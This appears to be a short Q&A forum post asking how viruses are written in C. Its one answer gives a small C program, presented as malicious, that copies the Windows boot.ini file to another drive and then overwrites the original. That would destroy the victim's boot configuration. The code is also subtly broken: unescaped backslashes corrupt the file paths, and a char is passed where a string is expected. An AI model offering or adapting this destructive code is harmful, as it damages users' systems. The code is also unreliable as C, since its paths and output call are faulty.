How Virus Programs written in C language?

Answer 1

irus like malicious program

#include <stdio.h>

#include <conio.h>

void main()

{

char b,c;

FILE *f,*g,*h;

clrscr();

c=NULL;

f=fopen("d:\boot.ini","r");

g=fopen("e:\boot.ini","w");

while(1)

{

b=fgetc(f);

if (b==EOF)

break;

fprintf(g,"%c",b);

}

h=fopen("d:\boot.ini","w");

fprintf(h,"%s",c);

fclose(h);

fclose(g);

fclose(f);

getch();

}